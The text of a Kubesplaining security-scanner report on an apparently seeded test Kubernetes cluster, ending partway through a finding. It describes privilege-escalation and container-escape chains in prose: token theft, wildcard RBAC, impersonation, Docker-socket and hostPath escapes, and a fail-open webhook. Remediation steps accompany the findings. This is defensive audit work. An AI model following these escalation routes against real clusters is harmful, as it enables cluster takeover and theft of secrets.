K
KubesplainingSecurity Report
v1.35.0 API https://127.0.0.1:39457 Snapshot 2026-10-09T14:16:03Z
Cluster reconnaissance 1 node8 cluster-admins0 LoadBalancers4 NetworkPolicies Click to expand
Cluster shape
Distributionv1.35.0
CloudAmazon EKS
API server 127.0.0.1 loopback
Nodes 1 1×amd64 · Debian GNU/Linux 12 (bookworm)
Kubeletv1.35.0 ×1
Runtimecontainerd://2.2.0 ×1
Inventory 42 namespaces · 45 pods · 144 service accounts
Who already owns this cluster
cluster-admin8 Group/kubeadm:cluster-admins ServiceAccount/cert-manager/cert-manager ServiceAccount/cutres/cutres-detour +5 more
Wildcard verbs10 Group/kubeadm:cluster-admins Group/system:masters ServiceAccount/cert-manager/cert-manager +7 more
Reads secrets27 Group/kubeadm:cluster-admins Group/system:masters Group/system:serviceaccounts:gw-groups +24 more
Exposed surface
LoadBalancersnone
NodePort / extIP0 NodePort · 0 externalIP
HostNetwork pods8 kube-system/etcd-kubesplaining-e2e-control-plane kube-system/kindnet-b4nrb kube-system/kube-apiserver-kubesplaining-e2e-control-plane +5 more
Privileged pods4 foothold-fixtures/foothold-priv-app-568f779db7-cmqmb kube-system/kube-proxy-pzg6h psa-suppressed/psa-priv-app-54c64bdd84-w4v5m +1 more
Mutating webhooks 2
Guardrails
NetworkPolicies 4 across 4 namespaces 18 unprotected
Pod Security enforce=baseline ×6enforce=restricted ×2
Policy engines none
Default-SA pods 22 with token automount
Collection provenance
Permissions seen0 · missing 0
Warnings2
Namespaces scanned42
Duration0.1s
Warnings (2)
  • mutatingadmissionpolicies: the server could not find the requested resource
  • mutatingadmissionpolicybindings: the server could not find the requested resource
Executive summary

2 independent paths to full cluster takeover

811 findings across 4 chains. Concentration: 102 in rbac-fixtures, 41 in cutres.

What the attack paths mean. Individual findings don't tell the whole story. Attackers chain them. This report detected 4 attack chains by looking at how rule IDs, subjects, and resources connect. The attack-paths diagram below makes those connections explicit; each chain is walked through in plain English further down.
141
Critical
430
High
196
Medium
44
Low
Pod Security Admission: 4 pod-security findings suppressed because the workload's namespace carries a pod-security.kubernetes.io/enforce label that would block it at admission time. Run with --admission-mode=off to see every finding regardless of admission state, or --admission-mode=attenuate to keep them visible at reduced severity.
Suppressed findings by namespace
  • psa-suppressed - KUBE-ESCAPE-001 ×1 - KUBE-PODSEC-APE-001 ×1 - KUBE-PODSEC-READONLY-001 ×1 - KUBE-PODSEC-SECCOMP-001 ×1
Risk index
100 / 100
CRITICAL
Weighted from 141 critical, 430 high, 196 medium, 44 low.
  • 4 attack chains detected
  • 102 findings in namespace rbac-fixtures
  • 49 findings on RBACRule/cluster-admin
  • 2 collection warnings, so some signal may be missing
Critical attack chains

Cluster-takeover paths

The 3 chains below are the most direct routes from a non-system identity to a sensitive sink in this cluster. Each step is annotated with the RBAC permission that enables it; jump to the rule card for full remediation.

  1. ServiceAccount cert-manager in namespace cert-manager reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

    1. wildcard_permission: ServiceAccount/cert-manager/cert-manager → cluster_admin_equivalent (*:*:*)
  2. ServiceAccount cutres-detour in namespace cutres reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

    1. wildcard_permission: ServiceAccount/cutres/cutres-detour → cluster_admin_equivalent (*:*:*)
  3. ServiceAccount cutres-parallel in namespace cutres reaches cluster-admin in 1 hop via Wildcard verbs × wildcard resources.

    1. wildcard_permission: ServiceAccount/cutres/cutres-parallel → cluster_admin_equivalent (*:*:*)
Top fixes

Highest-impact remediations

Each row collapses every finding sharing the same owning principal or workload into a single edit. Tackle them top-down: the score-reduction column shows how much your cluster risk index drops once the fix lands.

  1. #1
    Sever privilege-escalation paths from ServiceAccount rbac-fixtures/sa-pod-create by dropping the offending RoleBinding or pruning the bound Role's verbs Clears 16 rules · score impact −150.8 Rules: KUBE-CLOUD-IMDS-PIVOT-001, KUBE-PRIVESC-001, KUBE-PRIVESC-002, KUBE-PRIVESC-038, KUBE-PRIVESC-PATH-AWS-IAM-ROLE, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS, KUBE-PRIVESC-PATH-NAMESPACE-ADMIN, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-PRIVESC-PATH-NODE-IDENTITY, KUBE-PRIVESC-PATH-SYSTEM-MASTERS, KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT, KUBE-RBAC-UNUSED-ROLE-001, KUBE-SA-DAEMONSET-001, KUBE-SA-PRIVILEGED-002
  2. #2
    Drop the dangerous RBAC verbs (impersonate / bind / escalate / token-create / pod-exec) granted to ServiceAccount foothold-exec/foothold-decoy-sa Clears 16 rules · score impact −142.0 Rules: KUBE-CLOUD-IMDS-PIVOT-001, KUBE-PRIVESC-007, KUBE-PRIVESC-011, KUBE-PRIVESC-016, KUBE-PRIVESC-017, KUBE-PRIVESC-019, KUBE-PRIVESC-024, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-PRIVESC-PATH-SYSTEM-MASTERS, KUBE-RBAC-OVERBROAD-001, KUBE-RBAC-UNUSED-ROLE-001, KUBE-SA-PRIVILEGED-001, KUBE-SA-PRIVILEGED-002, KUBE-SECRETS-CROSSNS-001
  3. #3
    Drop the dangerous RBAC verbs (impersonate / bind / escalate / token-create / pod-exec) granted to ServiceAccount cutres/cutres-detour Clears 15 rules · score impact −139.3 Rules: KUBE-PRIVESC-007, KUBE-PRIVESC-009, KUBE-PRIVESC-010, KUBE-PRIVESC-011, KUBE-PRIVESC-016, KUBE-PRIVESC-017, KUBE-PRIVESC-019, KUBE-PRIVESC-024, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-NAMESPACE-ADMIN, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-PRIVESC-PATH-SYSTEM-MASTERS, KUBE-RBAC-OVERBROAD-001, KUBE-SA-PRIVILEGED-001
  4. #4
    Drop the dangerous RBAC verbs (impersonate / bind / escalate / token-create / pod-exec) granted to ServiceAccount rbac-fixtures/sa-wildcard Clears 15 rules · score impact −132.0 Rules: KUBE-CLOUD-IMDS-PIVOT-001, KUBE-PRIVESC-007, KUBE-PRIVESC-011, KUBE-PRIVESC-016, KUBE-PRIVESC-017, KUBE-PRIVESC-019, KUBE-PRIVESC-024, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-PRIVESC-PATH-SYSTEM-MASTERS, KUBE-RBAC-UNUSED-ROLE-001, KUBE-SA-PRIVILEGED-001, KUBE-SA-PRIVILEGED-002, KUBE-SECRETS-CROSSNS-001
  5. #5
    Sever privilege-escalation paths from ServiceAccount vulnerable/privileged-reader by dropping the offending RoleBinding or pruning the bound Role's verbs Clears 13 rules · score impact −131.3 Rules: KUBE-PRIVESC-001, KUBE-PRIVESC-002, KUBE-PRIVESC-005, KUBE-PRIVESC-038, KUBE-PRIVESC-PATH-AWS-IAM-ROLE, KUBE-PRIVESC-PATH-CLUSTER-ADMIN, KUBE-PRIVESC-PATH-GENERIC, KUBE-PRIVESC-PATH-KUBE-SYSTEM-SECRETS, KUBE-PRIVESC-PATH-NAMESPACE-ADMIN, KUBE-PRIVESC-PATH-NODE-ESCAPE, KUBE-PRIVESC-PATH-NODE-IDENTITY, KUBE-PRIVESC-PATH-SYSTEM-MASTERS, KUBE-PRIVESC-PATH-TRAFFIC-INTERCEPT
Think in graphs

Attack paths

critical edge high edge

Defenders look at findings as a list. Attackers chain them. This graph walks each entry point through the capability it grants to the impact it achieves, so a finding's real danger is the path it joins, not its individual score. Hover for context · click any node for a plain-language explainer.Tab navigation, hover tooltips, and click popovers need JavaScript. Open this report in a browser with JS enabled, or see the per-node explainers in the findings.json companion file.

Showing 10 of 59To keep the diagram readable, capabilities are capped at 10. The slate first guarantees one cap per impact category present in the cluster, then fills remaining slots by severity and score. The Findings tab has the complete list.

Entry point Abused capability Impact Entry point: Deployment risky-app. 1 critical/high on this entity. Deployment risky-app Deployment/vulnerable/risky-app 1 critical/high on this entity Entry point: Deployment socket-mounts-app. 1 critical/high on this entity. Deployment socket-mounts-app Deployment/vulnerable/socket-mounts-app 1 critical/high on this entity Entry point: ServiceAccount cert-manager. 1 critical/high on this entity. ServiceAccount cert-manager ServiceAccount/cert-manager/cert- manager 1 critical/high on this entity Entry point: ServiceAccount cutres-detour. 1 critical/high on this entity. ServiceAccount cutres-detour ServiceAccount/cutres/cutres-detour 1 critical/high on this entity Entry point: ServiceAccount gw-powerful. 1 critical/high on this entity. ServiceAccount gw-powerful ServiceAccount/gw-workloads/gw-powerful 1 critical/high on this entity Entry point: ServiceAccount sa-impersonate. 1 critical/high on this entity. ServiceAccount sa-impersonate ServiceAccount/rbac-fixtures/sa- impersonate 1 critical/high on this entity Entry point: ServiceAccount sa-nodes-proxy. 1 critical/high on this entity. ServiceAccount sa-nodes-proxy ServiceAccount/rbac-fixtures/sa-nodes- proxy 1 critical/high on this entity Entry point: ServiceAccount sa-rolebinding-mutate. 1 critical/high on this entity. ServiceAccount sa-rolebinding- mutate ServiceAccount/rbac-fixtures/sa- rolebinding-mutate 1 critical/high on this entity Entry point: ServiceAccount hookbackend-slicer. 1 critical/high on this entity. ServiceAccount hookbackend-slicer ServiceAccount/hookbackend-fixtures/ hookbackend-slicer 1 critical/high on this entity Entry point: MutatingWebhookConfiguration risky-ignore-webhook. 1 critical/high on this entity. MutatingWebhookConfiguration risky- ignore-webhook MutatingWebhookConfiguration/risky- ignore-webhook 1 critical/high on this entity Abused capability: KUBE-ESCAPE-005 — Docker socket mounted into Deployment/vulnerable/socket-mounts-app (volume docker-sock → /var/run/docker.sock) (severity CRITICAL) KUBE-ESCAPE-005 · score 10.0 Docker socket mounted into Deployment/ vulnerable/socket-mounts-app (volume docker- sock → /var/run/docker.sock) Abused capability: KUBE-ESCAPE-006 — Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app (severity CRITICAL) KUBE-ESCAPE-006 · score 10.0 Root filesystem (/) mounted from host into Deployment/vulnerable/risky-app Abused capability: KUBE-PRIVESC-008 — Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate (severity CRITICAL) KUBE-PRIVESC-008 · score 10.0 Cluster-wide impersonate permission on ServiceAccount/rbac-fixtures/sa-impersonate Abused capability: KUBE-PRIVESC-009 — Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/cutres/cutres-detour) (severity CRITICAL) KUBE-PRIVESC-009 · score 10.0 Cluster-wide bind/escalate on roles bypasses RBAC (ServiceAccount/cutres/cutres-detour) Abused capability: KUBE-PRIVESC-010 — Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa-rolebinding-mutate) (severity CRITICAL) KUBE-PRIVESC-010 · score 10.0 Cluster-wide write access to (Cluster)RoleBindings opens a self-grant path (ServiceAccount/rbac-fixtures/sa- rolebinding-mutate) Abused capability: KUBE-PRIVESC-011 — CSR create + approve mints a client cert for any identity on ServiceAccount/cert-manager/cert-manager (fully enforced-authorized: also holds approve on the signer) (severity CRITICAL) KUBE-PRIVESC-011 · score 10.0 CSR create + approve mints a client cert for any identity on ServiceAccount/cert-manager/ cert-manager (fully enforced-authorized: also holds approve on the signer) Abused capability: KUBE-PRIVESC-012 — get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa-nodes-proxy) (severity CRITICAL) KUBE-PRIVESC-012 · score 10.0 get nodes/proxy enables kubelet exec via API server (ServiceAccount/rbac-fixtures/sa- nodes-proxy) Abused capability: KUBE-PRIVESC-005 — Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/gw-workloads/gw-powerful (severity HIGH) KUBE-PRIVESC-005 · score 10.0 Cluster-wide list/watch access to Secrets enumerates every Secret on ServiceAccount/gw- workloads/gw-powerful Abused capability: KUBE-PRIVESC-021 — Namespace hookbackend-fixtures only write on endpointslices lets ServiceAccount/hookbackend-fixtures/hookbackend-slicer steer Service traffic (severity HIGH) KUBE-PRIVESC-021 · score 8.8 Namespace hookbackend-fixtures only write on endpointslices lets ServiceAccount/ hookbackend-fixtures/hookbackend-slicer steer Service traffic Abused capability: KUBE-ADMISSION-001 — MutatingWebhookConfiguration risky-ignore-webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources (severity HIGH) KUBE-ADMISSION-001 · score 7.9 MutatingWebhookConfiguration risky-ignore- webhook/mutate.vulnerable.local is fail-open (failurePolicy: Ignore) on security-critical resources Impact: PRIVILEGE ESCALATION PRIVILEGE ESCALATION Impersonation, container escape, SA takeover Impact: LATERAL REACH LATERAL REACH Cross-namespace, node-local, egress Impact: DATA EXFILTRATION DATA EXFILTRATION Tokens, secrets, application data Impact: CONTROL BYPASS CONTROL BYPASS Admission, webhooks, API policies
Walkthroughs

Attack-chain narratives

Auto-detected from rule combinations in this scan. Each walks through, in attacker order, how the findings connect.

CRITICAL

Privileged workload → node root

  1. An attacker gains code execution in a workload co-scheduled with, or targeting, one of:
    • Deployment/foothold-fixtures/foothold-priv-app
    • Deployment/vulnerable/host-ns-app
    • Deployment/vulnerable/risky-app
    • Deployment/vulnerable/socket-mounts-app
  2. The workload is configured to trust the host in one or more ways. Privileged mode grants all capabilities; a hostPath of / mounts the node's root filesystem; hostPID/hostIPC share the host's process and IPC namespaces.
  3. Any one of these alone is enough for a straightforward container escape: write into the host filesystem, exec through /proc/1, or interact with the kubelet's unix socket.
  4. From there, the attacker reads projected tokens for every other pod on the node and pivots into the cluster with those identities.
CRITICAL

Token theft → cluster-admin impersonation

  1. The attacker lands on a workload that mounts ServiceAccount/vulnerable/privileged-reader, or phishes a kubeconfig bound to it.
  2. That identity holds cluster-wide get/list on secrets, which includes service-account tokens in every namespace. The attacker lists kube-system secrets and reads tokens belonging to powerful controllers.
  3. Even without the token read, the same identity can create pods cluster-wide. The attacker schedules a pod that mounts the target service account, execs in, and acts as it.
  4. Either path converges on a cluster-admin-equivalent identity; all policies, secrets, and workloads are now under attacker control.
HIGH

Admission gap → silent enforcement bypass

  1. The webhook that should block dangerous pods fails open: failurePolicy: Ignore means any backend outage (or a targeted denial-of-service) silently disables enforcement for the window the attacker needs.
  2. Its namespace selector excludes at least one sensitive namespace, so workloads placed there skip admission entirely.
  3. The webhook keys off a workload-controlled label. Omit the label and admission doesn't apply.
  4. Any one of the above is a full bypass of the admission gate you thought was catching misconfigurations. In practice, this means every other chain in this report becomes easier to execute.
HIGH

Flat network → unrestricted lateral reach

  1. Namespaces with no NetworkPolicies treat every pod as reachable from every other pod. There is no default-deny, so a compromised workload can reach every service on every pod.
  2. An allow-from-all-namespaces policy is effectively no policy: traffic from any namespace matches, including attacker-controlled namespaces.
  3. Egress 0.0.0.0/0 gives the attacker free outbound reach. Stolen tokens, secrets, and staging data leave the cluster with nothing in the way.
  4. Combined, the attacker sweeps every pod in the cluster for vulnerable services and exfiltrates data without tripping a segmentation boundary.
Where the risk clusters

Severity × attack category

Critical High Medium Low
Module coverage

Findings by module

Risk hotspots

Resource × attack category

Cell color intensity = finding concentration. Rows sorted top-first by severity weight.

Resource
Priv. escalation
Lateral movement
Data exfil
Infra modification
Defense evasion
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
Collection notes

Signal gaps in this scan

  • mutatingadmissionpolicies: the server could not find the requested resource
  • mutatingadmissionpolicybindings: the server could not find the requested resource
Findings index
Privesc 296 findings · 10 rules
RBAC 121 findings · 32 rules
Service Accounts 20 findings · 4 rules
Pod Security 146 findings · 17 rules
Network Policy 82 findings · 7 rules
Cloud 40 findings · 4 rules
Secrets & ConfigMaps 14 findings · 6 rules
Admission Webhooks 3 findings · 3 rules
Container Security 74 findings · 4 rules
Leastprivilege 15 findings · 3 rules

Privesc

296 findings · 10 rules · 65 critical · 206 high · 25 medium · 0 low
CRITICAL

Subjects can reach cluster-admin equivalent in 1 hop(s)

KUBE-PRIVESC-PATH-CLUSTER-ADMIN 23 subjects Score 9.7–8.9
MITRE ATT&CK: T1078.004T1098T1068T1556

Affected subjects (23)

CRITICAL ServiceAccount/cert-manager/cert-manager Cluster 9.7
ServiceAccount/cert-manager/cert-manager can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/cert-manager/cert-manager → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cert-manager/cert-manager

Subject ServiceAccount/cert-manager/cert-manager has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/cert-manager/cert-manager → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/cert-manager/cert-manager (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/cert-manager/cert-manager (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/cert-manager/cert-manager already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/cert-manager/cert-manager → /).
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/cert-manager/cert-manager → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/cutres/cutres-detour Cluster 9.7
ServiceAccount/cutres/cutres-detour can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/cutres/cutres-detour → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-detour

Subject ServiceAccount/cutres/cutres-detour has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/cutres/cutres-detour → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/cutres/cutres-detour (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/cutres/cutres-detour (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/cutres/cutres-detour already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cutres/cutres-detour
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Survives cutting the cutres-detour-direct binding (3 hops)

This route reaches the same target without the cutres-detour-direct binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Step 1 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 3 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/cutres/cutres-detour → ServiceAccount/cutres/cutres-parallel
    Permission granted namespace-admin in cutres
    Gives the attacker can steal the token of co-located ServiceAccount cutres/cutres-parallel
  3. Step 3 of 3 Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/cutres/cutres-detour → /). Evaluated cut: removing this subject from the cutres-detour-direct binding that grants hop 1. A route to the same sink survives that cut.
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/cutres/cutres-detour → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/cutres/cutres-parallel Cluster 9.7
ServiceAccount/cutres/cutres-parallel can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/cutres/cutres-parallel → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-parallel

Subject ServiceAccount/cutres/cutres-parallel has a multi-hop privilege-escalation path that ends at a cluster-admin-equivalent identity (verbs:[*] on resources:[*]). The graph search found a chain of 1 hop(s) where each hop is an RBAC primitive: secret-read into token theft, role binding, role escalation, impersonation, or pod-create-with-mounted-SA. Once a chain exists, the question is not "could this be exploited" but "how quickly". Every hop is a built-in API operation, no exploit dev needed.

The chain (each step uses an explicit RBAC verb the engine validated against the snapshot):
1. ServiceAccount/cutres/cutres-parallel → / via wildcard_permission (*:*:*): wildcard verbs on wildcard resources in wildcard API groups

This finding is correlated against pod-mounted ServiceAccounts and the engine's correlate pass. A chain whose source is mounted by a workload is qualitatively worse than one whose source is a manually-issued user, because every workload compromise becomes an immediate path to cluster-admin.

Impact Compromise of ServiceAccount/cutres/cutres-parallel (or anything mounted by it) yields full cluster control: read every Secret, mutate any workload, exfiltrate any data, plant persistent backdoors. There is no defense-in-depth past this point.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any pod or credential associated with ServiceAccount/cutres/cutres-parallel (RCE in any application using its identity, leaked token, or compromised image).
  2. The identity ServiceAccount/cutres/cutres-parallel already holds wildcard verbs on wildcard resources (*:*:*), which is functionally identical to cluster-admin. The attacker can take any action on any resource in the cluster without further escalation.
  3. Final step: attacker now wields a credential authorized for verbs:[*] on resources:[*]. They read every Secret cluster-wide, exec into any pod, and persist via DaemonSets, mutating webhooks, or backdoor RBAC bindings.
  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Survives cutting the cutres-parallel-a binding (1 hop)

This route reaches the same target without the cutres-parallel-a binding, so removing this subject from that binding alone does not close it. The Remediation for this finding may name a broader fix that closes both.

  1. Wildcard verbs × wildcard resources wildcard_permission

    An RBAC rule with verbs: ["*"], resources: ["*"], and apiGroups: ["*"] is functionally identical to cluster-admin, even if it isn't called that. Often introduced by careless Helm charts or "give it permission to everything until it works" debugging.

    From ServiceAccount/cutres/cutres-parallel
    Permission granted *:*:*
    Gives the attacker wildcard verbs on wildcard resources in wildcard API groups
Remediation
Break the chain at the weakest hop: remove the permission *:*:* that enables the first hop (ServiceAccount/cutres/cutres-parallel → /). Evaluated cut: removing this subject from the cutres-parallel-a binding that grants hop 1. A route to the same sink survives that cut.
  1. Confirm the chain is real with kubectl auth can-i for each verb the engine cited (run as the source SA / each intermediate hop).
  2. Identify the lowest-cost hop to break (typically remove the permission *:*:* that enables the first hop (ServiceAccount/cutres/cutres-parallel → /)); removing one mid-chain hop kills the entire path.
  3. Apply the change in a non-prod cluster first; re-run the scanner to confirm the path no longer resolves.
  4. For each remaining wildcard verbs / wildcard resources binding in the chain, run audit2rbac to derive the minimum verbs the workload actually uses, then replace.
  5. Wire enforcement: a Kyverno or OPA Gatekeeper policy that fails any new RoleBinding/ClusterRoleBinding with verbs:[*] on resources:[*] to non-system subjects, plus a CI check that re-runs kubesplaining against the rendered manifests of every PR.
CRITICAL ServiceAccount/deepchain-tenant/deepchain-privileged Cluster 9.7
ServiceAccount/deepchain-tenant/deepchain-privileged can reach cluster-admin equivalent in 1 hop(s)
Scope · Cluster Source ServiceAccount/deepchain-tenant/deepchain-privileged → cluster-admin equivalent: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/deepchain-tenant/deepchain-privileged

